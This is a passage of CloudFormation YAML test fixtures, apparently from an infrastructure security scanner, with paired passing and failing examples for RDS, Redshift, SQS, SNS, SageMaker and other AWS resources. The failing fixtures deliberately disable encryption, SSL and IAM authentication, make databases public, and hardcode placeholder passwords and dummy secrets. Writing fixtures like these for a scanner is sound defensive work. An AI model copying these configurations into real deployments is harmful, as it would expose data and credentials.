tests/cloudformation/checks/resource/aws/example_NeptuneClusterStorageEncrypted/NeptuneClusterStorageEncrypted-PASSED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: Example Neptune DB cluster Resources: NeptuneDBCluster: Type: "AWS::Neptune::DBCluster" Properties: BackupRetentionPeriod: 100 DBClusterIdentifier: DBClusterIdentifier DBClusterParameterGroupName: NeptuneDBClusterParameterGroup DBSubnetGroupName: NeptuneDBSubnetGroup IamAuthEnabled: true PreferredBackupWindow: NeptuneDBClusterPreferredBackupWindow PreferredMaintenanceWindow: NeptuneDBClusterPreferredMaintenanceWindow StorageEncrypted: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_OpensearchDomainAuditLogging/ElasticsearchDomainLogging-FAILED.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: Resource0: Type: 'AWS::Elasticsearch::Domain' Properties: DomainEndpointOptions: EnforceHTTPS: True LogPublishingOptions: AUDIT_LOGS: Enabled: False Resource1: Type: 'AWS::Elasticsearch::Domain' Properties: DomainEndpointOptions: EnforceHTTPS: True ================================================ FILE: tests/cloudformation/checks/resource/aws/example_OpensearchDomainAuditLogging/ElasticsearchDomainLogging-PASSED.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: Resource0: Type: 'AWS::Elasticsearch::Domain' Properties: DomainEndpointOptions: EnforceHTTPS: True LogPublishingOptions: AUDIT_LOGS: Enabled: True CloudWatchLogsLogGroupArn: CloudWatchLogsLogGroupArn ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ParameterStoreCredentials/mix.yaml ================================================ Resources: FailAPIKey: Type: 'AWS::SSM::Parameter' Properties: Name: '/myapp/api_key' Type: 'String' Value: 'akdfaksdfjkasdfjskafjdkfajsdfk345' Bad1: Type: 'AWS::SSM::Parameter' Properties: Name: '/myapp/secret' Type: 'String' Value: 'akdfaksdfjkasdfjskafjdkfajsdfk345' GoodNoKeyword: Type: 'AWS::SSM::Parameter' Properties: Name: '/myapp/foo' Type: 'String' Value: 'akdfaksdfjkasdfjskafjdkfajsdfk345' GoodVariable: Type: 'AWS::SSM::Parameter' Properties: Name: '/myapp/secret2' Type: 'String' Value: "${aws_iam_role.lambda[count.index].arn}" GoodFnSub: Type: AWS::SSM::Parameter Metadata: cfn-lint: config: ignore_checks: - E1019 Properties: Type: String Name: secret Value: Fn::Sub: '/cdk-bootstrap/${Qualifier}/version' GoodRef: Type: AWS::SSM::Parameter Properties: Name: SuperSecret Type: String Value: !Ref GoodFnSub Bad2: Type: 'AWS::SSM::Parameter' Properties: Name: 'MYSECRET' Type: 'String' Value: 'akdfaksdfjkasdfjskafjdkfajsdfk345' PassTestName: Type: 'AWS::SSM::Parameter' Properties: Name: 'MYSECRET_TEST' Type: 'String' Value: 'akdfaksdfjkasdfjskafjdkfajsdfk345' PassTestVALUE: Type: 'AWS::SSM::Parameter' Properties: Name: 'MYSECRET2' Type: 'String' Value: 'akdfaksdfjkaEXAMPLEsdfjskafjdkfajsdfk345' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ParameterStoreCredentials/no_crash.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Description: CloudFormation template to create an SSM Parameter for holding the DynamoDb Table Name. Parameters: TableName: Type: String Description: The name of the DynamoDB table Resources: AccountInfoTable: Type: AWS::DynamoDB::Table Properties: TableName: !Ref TableName AttributeDefinitions: - AttributeName: id AttributeType: S KeySchema: - AttributeName: id KeyType: HASH ProvisionedThroughput: ReadCapacityUnits: 5 WriteCapacityUnits: 5 DynamoDbParameter: Type: AWS::SSM::Parameter Properties: Name: !Sub /AccountInfoService/${AWS::StackName}/TableName Type: String Value: !Ref AccountInfoTable Description: SSM Parameter for holding the DynamoDb Table Name. Outputs: DynamoDbParameterOutput: Description: SSM Parameter for holding the DynamoDb Table Name. Value: !Ref DynamoDbParameter ================================================ FILE: tests/cloudformation/checks/resource/aws/example_QLDBLedgerDeletionProtection/FAIL.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Disabled: Type: "AWS::QLDB::Ledger" Properties: DeletionProtection: false Name: "ledger" PermissionsMode: "STANDARD" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_QLDBLedgerDeletionProtection/PASS.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Default: Type: "AWS::QLDB::Ledger" Properties: Name: "ledger" PermissionsMode: "STANDARD" Enabled: Type: "AWS::QLDB::Ledger" Properties: DeletionProtection: true Name: "ledger" PermissionsMode: "STANDARD" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_QLDBLedgerPermissionsMode/FAIL.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: AllowAll: Type: "AWS::QLDB::Ledger" Properties: Name: "ledger" PermissionsMode: "ALLOW_ALL" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_QLDBLedgerPermissionsMode/PASS.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Standard: Type: "AWS::QLDB::Ledger" Properties: Name: "ledger" PermissionsMode: "STANDARD" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_RDSClusterIAMAuthentication/RDSClusterIAMAuthentication-FAIL.yaml ================================================ Resources: Default: Type: 'AWS::RDS::DBCluster' Properties: Engine: 'aurora' MasterUsername: 'username' MasterUserPassword: 'password' Disabled: Type: 'AWS::RDS::DBCluster' Properties: Engine: 'aurora' MasterUsername: 'username' MasterUserPassword: 'password' EnableIAMDatabaseAuthentication: false ================================================ FILE: tests/cloudformation/checks/resource/aws/example_RDSClusterIAMAuthentication/RDSClusterIAMAuthentication-PASSED.yaml ================================================ Resources: Enabled: Type: 'AWS::RDS::DBCluster' Properties: Engine: 'aurora' MasterUsername: 'username' MasterUserPassword: 'password' EnableIAMDatabaseAuthentication: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_RDSEncryption/RDSEncryption-FAIL.yaml ================================================ Resources: MyDB0: Type: 'AWS::RDS::DBInstance' Properties: DBName: 'mydb' DBInstanceClass: 'db.t3.micro' Engine: 'mysql' MasterUsername: 'master' MasterUserPassword: 'password' MyDB1: Type: 'AWS::RDS::DBInstance' Properties: DBName: 'mydb' DBInstanceClass: 'db.t3.micro' Engine: 'mysql' MasterUsername: 'master' MasterUserPassword: 'password' StorageEncrypted: false ================================================ FILE: tests/cloudformation/checks/resource/aws/example_RDSEncryption/RDSEncryption-PASSED.yaml ================================================ Resources: MyDB0: Type: 'AWS::RDS::DBInstance' Properties: DBName: 'mydb' DBInstanceClass: 'db.t3.micro' Engine: 'mysql' MasterUsername: 'master' MasterUserPassword: 'password' StorageEncrypted: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_RDSEncryption/RDSEncryption-UNKNOWN.yaml ================================================ Resources: MyDBAurora0: Type: 'AWS::RDS::DBInstance' Properties: DBName: 'mydb' DBInstanceClass: 'db.r3.2xlarge' Engine: 'aurora' MyDBAurora1: Type: 'AWS::RDS::DBInstance' Properties: DBName: 'mydb' DBInstanceClass: 'db.r3.2xlarge' Engine: 'aurora-mysql' MyDBAurora2: Type: 'AWS::RDS::DBInstance' Properties: DBName: 'mydb' DBInstanceClass: 'db.t3.medium' Engine: 'aurora-postgresql' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_RDSEnhancedMonitorEnabled/FAIL.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Default: Type: 'AWS::RDS::DBInstance' Properties: DBName: 'mydb' DBInstanceClass: 'db.t3.micro' Engine: 'mysql' MasterUsername: 'master' MasterUserPassword: 'password' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_RDSEnhancedMonitorEnabled/PASS.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: Enabled: Type: 'AWS::RDS::DBInstance' Properties: DBName: 'mydb' DBInstanceClass: 'db.t3.micro' Engine: 'mysql' MasterUsername: 'master' MasterUserPassword: 'password' MonitoringInterval: '60' MonitoringRoleArn: 'arn:aws:iam::123456789012:role/rds-monitoring-role' EnabledNumber: Type: 'AWS::RDS::DBInstance' Properties: DBName: 'mydb' DBInstanceClass: 'db.t3.micro' Engine: 'mysql' MasterUsername: 'master' MasterUserPassword: 'password' MonitoringInterval: 30 MonitoringRoleArn: 'arn:aws:iam::123456789012:role/rds-monitoring-role' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_RDSIAMAuthentication/RDSIAMAuthentication-FAIL.yaml ================================================ Resources: DefaultMysql: Type: 'AWS::RDS::DBInstance' Properties: DBInstanceClass: 'db.t3.micro' Engine: 'mysql' MasterUsername: 'username' MasterUserPassword: 'password' DefaultPostgres: Type: 'AWS::RDS::DBInstance' Properties: DBInstanceClass: 'db.t3.micro' Engine: 'postgres' MasterUsername: 'username' MasterUserPassword: 'password' DisabledMysql: Type: 'AWS::RDS::DBInstance' Properties: DBInstanceClass: 'db.t3.micro' Engine: 'mysql' MasterUsername: 'username' MasterUserPassword: 'password' EnableIAMDatabaseAuthentication: false DisabledPostgres: Type: 'AWS::RDS::DBInstance' Properties: DBInstanceClass: 'db.t3.micro' Engine: 'postgres' MasterUsername: 'username' MasterUserPassword: 'password' EnableIAMDatabaseAuthentication: false ================================================ FILE: tests/cloudformation/checks/resource/aws/example_RDSIAMAuthentication/RDSIAMAuthentication-PASSED.yaml ================================================ Resources: EnabledMysql: Type: 'AWS::RDS::DBInstance' Properties: DBInstanceClass: 'db.t3.micro' Engine: 'mysql' MasterUsername: 'username' MasterUserPassword: 'password' EnableIAMDatabaseAuthentication: true EnabledPostgres: Type: 'AWS::RDS::DBInstance' Properties: DBInstanceClass: 'db.t3.micro' Engine: 'postgres' MasterUsername: 'username' MasterUserPassword: 'password' EnableIAMDatabaseAuthentication: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_RDSIAMAuthentication/RDSIAMAuthentication-UNKNOWN.yaml ================================================ Resources: Mariadb: Type: 'AWS::RDS::DBInstance' Properties: DBInstanceClass: 'db.t3.micro' Engine: 'mariadb' MasterUsername: 'username' MasterUserPassword: 'password' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_RDSMultiAZEnabled/RDSMultiAZEnabled-FAILED-2.yaml ================================================ Resources: MyDBDefault: Type: 'AWS::RDS::DBInstance' Properties: DBName: 'mydb_default' DBInstanceClass: 'db.t3.micro' Engine: 'mysql' MasterUsername: 'master' MasterUserPassword: 'password' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_RDSMultiAZEnabled/RDSMultiAZEnabled-FAILED.yaml ================================================ Resources: MyDBDisabled: Type: 'AWS::RDS::DBInstance' Properties: DBName: 'mydb_disabled' DBInstanceClass: 'db.t3.micro' Engine: 'mysql' MasterUsername: 'master' MasterUserPassword: 'password' MultiAZ: false ================================================ FILE: tests/cloudformation/checks/resource/aws/example_RDSMultiAZEnabled/RDSMultiAZEnabled-PASSED.yaml ================================================ Resources: MyDBEnabled: Type: 'AWS::RDS::DBInstance' Properties: DBName: 'mydb_enabled' DBInstanceClass: 'db.t3.micro' Engine: 'mysql' MasterUsername: 'master' MasterUserPassword: 'password' MultiAZ: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_RDSMultiAZEnabled/RDSMultiAZEnabled-UNKNOWN.yaml ================================================ Resources: MyDBAurora: Type: 'AWS::RDS::DBInstance' Properties: DBName: 'mydb_enabled' DBInstanceClass: 'db.r3.2xlarge' Engine: 'aurora-mysql' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_RDSPubliclyAccessible/RDSPubliclyAccessible-FAIL.yaml ================================================ Resources: MyDB: Type: 'AWS::RDS::DBInstance' Properties: DBName: 'mydb' DBInstanceClass: 'db.t3.micro' Engine: 'mysql' MasterUsername: 'master' MasterUserPassword: 'password' PubliclyAccessible: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_RDSPubliclyAccessible/RDSPubliclyAccessible-PASSED-2.yaml ================================================ Resources: MyDB: Type: 'AWS::RDS::DBInstance' Properties: DBName: 'mydb' DBInstanceClass: 'db.t3.micro' Engine: 'mysql' MasterUsername: 'master' MasterUserPassword: 'password' PubliclyAccessible: false ================================================ FILE: tests/cloudformation/checks/resource/aws/example_RDSPubliclyAccessible/RDSPubliclyAccessible-PASSED.yaml ================================================ Resources: MyDB: Type: 'AWS::RDS::DBInstance' Properties: DBName: 'mydb' DBInstanceClass: 'db.t3.micro' Engine: 'mysql' MasterUsername: 'master' MasterUserPassword: 'password' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_RedShiftSSL/RedShiftSSL-FAILED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: RedshiftParameterGroupDefault: Type: AWS::Redshift::ClusterParameterGroup Properties: Description: parameter group ParameterGroupFamily: redshift-1.0 Parameters: - ParameterName: "enable_user_activity_logging" ParameterValue: "true" RedshiftParameterGroupDefault2: Type: AWS::Redshift::ClusterParameterGroup Properties: Description: parameter group ParameterGroupFamily: redshift-1.0 Parameters: - ParameterName: "enable_user_activity_logging" ParameterValue: true RedshiftParameterGroupDisabled: Type: AWS::Redshift::ClusterParameterGroup Properties: Description: parameter group ParameterGroupFamily: redshift-1.0 Parameters: - ParameterName: "require_ssl" ParameterValue: "false" RedshiftParameterGroupDisabled2: Type: AWS::Redshift::ClusterParameterGroup Properties: Description: parameter group ParameterGroupFamily: redshift-1.0 Parameters: - ParameterName: "require_ssl" ParameterValue: false ================================================ FILE: tests/cloudformation/checks/resource/aws/example_RedShiftSSL/RedShiftSSL-PASSED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: RedshiftParameterGroupEnabled: Type: AWS::Redshift::ClusterParameterGroup Properties: Description: parameter group ParameterGroupFamily: redshift-1.0 Parameters: - ParameterName: "require_ssl" ParameterValue: "true" RedshiftParameterGroupEnabledBool: Type: AWS::Redshift::ClusterParameterGroup Properties: Description: parameter group ParameterGroupFamily: redshift-1.0 Parameters: - ParameterName: "require_ssl" ParameterValue: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_RedshiftClusterEncryption/RedshiftClusterEncryption-FAILED.yaml ================================================ Resources: RedshiftClusterDisabled: Type: "AWS::Redshift::Cluster" Properties: DBName: "mydb" MasterUsername: "master" MasterUserPassword: "MasterUserPassword" NodeType: "ds2.xlarge" ClusterType: "single-node" Encrypted: false RedshiftClusterDefault: Type: "AWS::Redshift::Cluster" Properties: DBName: "mydb" MasterUsername: "master" MasterUserPassword: "MasterUserPassword" NodeType: "ds2.xlarge" ClusterType: "single-node" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_RedshiftClusterEncryption/RedshiftClusterEncryption-PASSED.yaml ================================================ Resources: RedshiftClusterEnabled: Type: "AWS::Redshift::Cluster" Properties: DBName: "mydb" MasterUsername: "master" MasterUserPassword: "MasterUserPassword" NodeType: "ds2.xlarge" ClusterType: "single-node" Encrypted: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_RedshiftClusterLogging/RedshiftClusterLogging-FAILED.yaml ================================================ Resources: RedshiftClusterDefault: Type: "AWS::Redshift::Cluster" Properties: DBName: "mydb" MasterUsername: "master" MasterUserPassword: "MasterUserPassword" NodeType: "ds2.xlarge" ClusterType: "single-node" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_RedshiftClusterLogging/RedshiftClusterLogging-PASSED.yaml ================================================ Resources: RedshiftClusterEnabled: Type: "AWS::Redshift::Cluster" Properties: DBName: "mydb" MasterUsername: "master" MasterUserPassword: "MasterUserPassword" NodeType: "ds2.xlarge" ClusterType: "single-node" LoggingProperties: BucketName: "bucket" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_RedshiftClusterPubliclyAccessible/RedshiftClusterPubliclyAccessible-FAILED.yaml ================================================ Resources: RedshiftClusterDisabled: Type: "AWS::Redshift::Cluster" Properties: DBName: "mydb" MasterUsername: "master" MasterUserPassword: "MasterUserPassword" NodeType: "ds2.xlarge" ClusterType: "single-node" PubliclyAccessible: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_RedshiftClusterPubliclyAccessible/RedshiftClusterPubliclyAccessible-PASSED.yaml ================================================ Resources: RedshiftClusterDefault: Type: "AWS::Redshift::Cluster" Properties: DBName: "mydb" MasterUsername: "master" MasterUserPassword: "MasterUserPassword" NodeType: "ds2.xlarge" ClusterType: "single-node" RedshiftClusterEnabled: Type: "AWS::Redshift::Cluster" Properties: DBName: "mydb" MasterUsername: "master" MasterUserPassword: "MasterUserPassword" NodeType: "ds2.xlarge" ClusterType: "single-node" PubliclyAccessible: false ================================================ FILE: tests/cloudformation/checks/resource/aws/example_RedshiftInEc2ClassicMode/RedshiftInEc2ClassicMode-FAILED.yaml ================================================ Resources: RedshiftClusterDefault: Type: "AWS::Redshift::Cluster" Properties: DBName: "mydb" MasterUsername: "master" MasterUserPassword: "MasterUserPassword" NodeType: "ds2.xlarge" ClusterType: "single-node" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_RedshiftInEc2ClassicMode/RedshiftInEc2ClassicMode-PASSED.yaml ================================================ Resources: RedshiftClusterEnabled: Type: "AWS::Redshift::Cluster" Properties: DBName: "mydb" MasterUsername: "master" MasterUserPassword: "MasterUserPassword" NodeType: "ds2.xlarge" ClusterType: "single-node" ClusterSubnetGroupName: "subnet-ebd9cead" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SNSTopicEncryption/test_SNSTopicEncryption-FAILED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: Example SNS topic Resources: MySNSTopic: Type: AWS::SNS::Topic Properties: Subscription: - Endpoint: "SNSEndpoint" Protocol: "sqs" TopicName: "SampleTopic" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SNSTopicEncryption/test_SNSTopicEncryption-PASSED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: Example SNS topic Resources: MySNSTopic: Type: AWS::SNS::Topic Properties: Subscription: - Endpoint: "SNSEndpoint" Protocol: "sqs" TopicName: "SampleTopic" KmsMasterKeyId: "kms_id" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SQSQueueEncryption/test_SQSQueueEncryption-FAILED.yml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: MySourceQueue: Type: AWS::SQS::Queue Properties: RedrivePolicy: deadLetterTargetArn: "example_arn" maxReceiveCount: 5 KmsMasterKeyId: "" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SQSQueueEncryption/test_SQSQueueEncryption-FAILED2.yml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: MySourceQueue: Type: AWS::SQS::Queue Properties: RedrivePolicy: deadLetterTargetArn: "example_arn" maxReceiveCount: 5 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SQSQueueEncryption/test_SQSQueueEncryption-PASSED.yml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: MySourceQueue: Type: AWS::SQS::Queue Properties: RedrivePolicy: deadLetterTargetArn: "example_arn" maxReceiveCount: 5 KmsMasterKeyId: "kms_id" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SagemakerDataQualityJobDefinitionEncryption/SagemakerDataQualityJobDefinitionEncryption-FAILED.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Resources: MySageMakerRole: Type: "AWS::IAM::Role" Properties: AssumeRolePolicyDocument: Version: "2012-10-17" Statement: - Effect: "Allow" Principal: Service: - "sagemaker.amazonaws.com" Action: - "sts:AssumeRole" MyDataQualityJobDefinitionFail: Type: "AWS::SageMaker::DataQualityJobDefinition" Properties: JobDefinitionName: "MyDataQualityJob" RoleArn: !GetAtt MySageMakerRole.Arn DataQualityAppSpecification: ImageUri: "123456789012.dkr.ecr.us-west-2.amazonaws.com/my-image:latest" DataQualityJobInput: EndpointInput: EndpointName: "my-endpoint" LocalPath: "/opt/ml/processing/input" DataQualityJobOutputConfig: MonitoringOutputs: - S3Output: S3Uri: "s3://my-sagemaker-bucket/output" LocalPath: "/opt/ml/processing/output" S3UploadMode: "Continuous" JobResources: ClusterConfig: InstanceCount: 1 InstanceType: "ml.m5.xlarge" VolumeSizeInGB: 20 VolumeKmsKeyId: "arn:aws:kms:us-west-2:123456789012:key/my-existing-kms-key-id" # Volume-specific KMS Key ID StoppingCondition: MaxRuntimeInSeconds: 3600 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SagemakerDataQualityJobDefinitionEncryption/SagemakerDataQualityJobDefinitionEncryption-PASSED.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Resources: MySageMakerRole: Type: "AWS::IAM::Role" Properties: AssumeRolePolicyDocument: Version: "2012-10-17" Statement: - Effect: "Allow" Principal: Service: - "sagemaker.amazonaws.com" Action: - "sts:AssumeRole" MyDataQualityJobDefinitionPass: Type: "AWS::SageMaker::DataQualityJobDefinition" Properties: JobDefinitionName: "MyDataQualityJob" RoleArn: !GetAtt MySageMakerRole.Arn DataQualityAppSpecification: ImageUri: "123456789012.dkr.ecr.us-west-2.amazonaws.com/my-image:latest" DataQualityJobInput: EndpointInput: EndpointName: "my-endpoint" LocalPath: "/opt/ml/processing/input" DataQualityJobOutputConfig: KmsKeyId: "arn:aws:kms:us-west-2:123456789012:key/my-existing-kms-key-id" MonitoringOutputs: - S3Output: S3Uri: "s3://my-sagemaker-bucket/output" LocalPath: "/opt/ml/processing/output" S3UploadMode: "Continuous" JobResources: ClusterConfig: InstanceCount: 1 InstanceType: "ml.m5.xlarge" VolumeSizeInGB: 20 VolumeKmsKeyId: "arn:aws:kms:us-west-2:123456789012:key/my-existing-kms-key-id" # Volume-specific KMS Key ID StoppingCondition: MaxRuntimeInSeconds: 3600 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SagemakerDataQualityJobDefinitionTrafficEncryption/SagemakerDataQualityJobDefinitionTrafficEncryption-FAILED.yaml ================================================ Resources: DataQualityJobDefinitionFail1: Type: "AWS::SageMaker::DataQualityJobDefinition" Properties: JobDefinitionName: "MyDataQualityJobDefinition" DataQualityBaselineConfig: BaseliningJobName: "MyBaselineJob" DataQualityAppSpecification: ImageUri: "123456789012.dkr.ecr.us-west-2.amazonaws.com/my-custom-image:latest" DataQualityJobInput: EndpointInput: EndpointName: "MyEndpoint" LocalPath: "/opt/ml/processing/input" DataQualityJobOutputConfig: MonitoringOutputs: - S3Output: S3Uri: "s3://my-bucket/output/" LocalPath: "/opt/ml/processing/output" S3UploadMode: "EndOfJob" JobResources: ClusterConfig: InstanceCount: 1 InstanceType: ml.m5.large VolumeSizeInGB: 50 RoleArn: "arn:aws:iam::123456789012:role/service-role/AmazonSageMaker-ExecutionRole-20200601T123456" NetworkConfig: EnableInterContainerTrafficEncryption: false StoppingCondition: MaxRuntimeInSeconds: 3600 DataQualityJobDefinitionFail2: Type: "AWS::SageMaker::DataQualityJobDefinition" Properties: JobDefinitionName: "MyDataQualityJobDefinition" DataQualityBaselineConfig: BaseliningJobName: "MyBaselineJob" DataQualityAppSpecification: ImageUri: "123456789012.dkr.ecr.us-west-2.amazonaws.com/my-custom-image:latest" DataQualityJobInput: EndpointInput: EndpointName: "MyEndpoint" LocalPath: "/opt/ml/processing/input" DataQualityJobOutputConfig: MonitoringOutputs: - S3Output: S3Uri: "s3://my-bucket/output/" LocalPath: "/opt/ml/processing/output" S3UploadMode: "EndOfJob" JobResources: ClusterConfig: InstanceCount: 1 InstanceType: ml.m5.large VolumeSizeInGB: 50 RoleArn: "arn:aws:iam::123456789012:role/service-role/AmazonSageMaker-ExecutionRole-20200601T123456" StoppingCondition: MaxRuntimeInSeconds: 3600 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SagemakerDataQualityJobDefinitionTrafficEncryption/SagemakerDataQualityJobDefinitionTrafficEncryption-PASSED.yaml ================================================ Resources: DataQualityJobDefinitionPass: Type: "AWS::SageMaker::DataQualityJobDefinition" Properties: JobDefinitionName: "MyDataQualityJobDefinition" DataQualityBaselineConfig: BaseliningJobName: "MyBaselineJob" DataQualityAppSpecification: ImageUri: "123456789012.dkr.ecr.us-west-2.amazonaws.com/my-custom-image:latest" DataQualityJobInput: EndpointInput: EndpointName: "MyEndpoint" LocalPath: "/opt/ml/processing/input" DataQualityJobOutputConfig: MonitoringOutputs: - S3Output: S3Uri: "s3://my-bucket/output/" LocalPath: "/opt/ml/processing/output" S3UploadMode: "EndOfJob" JobResources: ClusterConfig: InstanceCount: 1 InstanceType: ml.m5.large VolumeSizeInGB: 50 RoleArn: "arn:aws:iam::123456789012:role/service-role/AmazonSageMaker-ExecutionRole-20200601T123456" NetworkConfig: EnableInterContainerTrafficEncryption: true StoppingCondition: MaxRuntimeInSeconds: 3600 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SagemakerDataQualityJobDefinitionVolumeEncryption/SagemakerDataQualityJobDefinitionVolumeEncryption-FAILED.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Resources: MySageMakerRole: Type: "AWS::IAM::Role" Properties: AssumeRolePolicyDocument: Version: "2012-10-17" Statement: - Effect: "Allow" Principal: Service: - "sagemaker.amazonaws.com" Action: - "sts:AssumeRole" MyDataQualityJobDefinitionFail1: Type: "AWS::SageMaker::DataQualityJobDefinition" Properties: JobDefinitionName: "MyDataQualityJob" RoleArn: !GetAtt MySageMakerRole.Arn DataQualityAppSpecification: ImageUri: "123456789012.dkr.ecr.us-west-2.amazonaws.com/my-image:latest" DataQualityJobInput: EndpointInput: EndpointName: "my-endpoint" LocalPath: "/opt/ml/processing/input" DataQualityJobOutputConfig: KmsKeyId: "arn:aws:kms:us-west-2:123456789012:key/my-existing-kms-key-id" MonitoringOutputs: - S3Output: S3Uri: "s3://my-sagemaker-bucket/output" LocalPath: "/opt/ml/processing/output" S3UploadMode: "Continuous" JobResources: ClusterConfig: InstanceCount: 1 InstanceType: "ml.m5.xlarge" VolumeSizeInGB: 20 StoppingCondition: MaxRuntimeInSeconds: 3600 MyDataQualityJobDefinitionFail2: Type: "AWS::SageMaker::DataQualityJobDefinition" Properties: JobDefinitionName: "MyDataQualityJob" RoleArn: !GetAtt MySageMakerRole.Arn DataQualityAppSpecification: ImageUri: "123456789012.dkr.ecr.us-west-2.amazonaws.com/my-image:latest" DataQualityJobInput: EndpointInput: EndpointName: "my-endpoint" LocalPath: "/opt/ml/processing/input" DataQualityJobOutputConfig: KmsKeyId: "arn:aws:kms:us-west-2:123456789012:key/my-existing-kms-key-id" MonitoringOutputs: - S3Output: S3Uri: "s3://my-sagemaker-bucket/output" LocalPath: "/opt/ml/processing/output" S3UploadMode: "Continuous" JobResources: ClusterConfig: InstanceCount: 2 InstanceType: "ml.m5.xlarge" VolumeSizeInGB: 30 StoppingCondition: MaxRuntimeInSeconds: 3600 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SagemakerDataQualityJobDefinitionVolumeEncryption/SagemakerDataQualityJobDefinitionVolumeEncryption-PASSED.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Resources: MySageMakerRole: Type: "AWS::IAM::Role" Properties: AssumeRolePolicyDocument: Version: "2012-10-17" Statement: - Effect: "Allow" Principal: Service: - "sagemaker.amazonaws.com" Action: - "sts:AssumeRole" MyDataQualityJobDefinitionPass: Type: "AWS::SageMaker::DataQualityJobDefinition" Properties: JobDefinitionName: "MyDataQualityJob" RoleArn: !GetAtt MySageMakerRole.Arn DataQualityAppSpecification: ImageUri: "123456789012.dkr.ecr.us-west-2.amazonaws.com/my-image:latest" DataQualityJobInput: EndpointInput: EndpointName: "my-endpoint" LocalPath: "/opt/ml/processing/input" DataQualityJobOutputConfig: KmsKeyId: "arn:aws:kms:us-west-2:123456789012:key/my-existing-kms-key-id" MonitoringOutputs: - S3Output: S3Uri: "s3://my-sagemaker-bucket/output" LocalPath: "/opt/ml/processing/output" S3UploadMode: "Continuous" JobResources: ClusterConfig: InstanceCount: 1 InstanceType: "ml.m5.xlarge" VolumeSizeInGB: 20 VolumeKmsKeyId: "arn:aws:kms:us-west-2:123456789012:key/my-existing-volume-kms-key-id" StoppingCondition: MaxRuntimeInSeconds: 3600 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SagemakerModelWithNetworkIsolation/SagemakerModelWithNetworkIsolation-FAILED.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Resources: SageMakerExecutionRole: Type: 'AWS::IAM::Role' Properties: RoleName: 'SageMakerExecutionRole' AssumeRolePolicyDocument: Version: '2012-10-17' Statement: - Effect: 'Allow' Principal: Service: 'sagemaker.amazonaws.com' Action: 'sts:AssumeRole' Policies: - PolicyName: 'SageMakerExecutionPolicy' PolicyDocument: Version: '2012-10-17' Statement: - Effect: 'Allow' Action: - 's3:GetObject' - 's3:PutObject' Resource: 'arn:aws:s3:::your-s3-bucket-name/*' SageMakerModelFail1: Type: 'AWS::SageMaker::Model' Properties: ModelName: 'ExampleSageMakerModel' ExecutionRoleArn: !GetAtt SageMakerExecutionRole.Arn PrimaryContainer: Image: '123456789012.dkr.ecr.us-west-2.amazonaws.com/my-sagemaker-image:latest' Mode: 'SingleModel' ModelDataUrl: 's3://your-s3-bucket-name/model.tar.gz' EnableNetworkIsolation: false SageMakerModelFail2: Type: 'AWS::SageMaker::Model' Properties: ModelName: 'ExampleSageMakerModel' ExecutionRoleArn: !GetAtt SageMakerExecutionRole.Arn PrimaryContainer: Image: '123456789012.dkr.ecr.us-west-2.amazonaws.com/my-sagemaker-image:latest' Mode: 'SingleModel' ModelDataUrl: 's3://your-s3-bucket-name/model.tar.gz' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_SagemakerModelWithNetworkIsolation/SagemakerModelWithNetworkIsolation-PASSED.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Resources: SageMakerExecutionRole: Type: 'AWS::IAM::Role' Properties: RoleName: 'SageMakerExecutionRole' AssumeRolePolicyDocument: Version: '2012-10-17' Statement: - 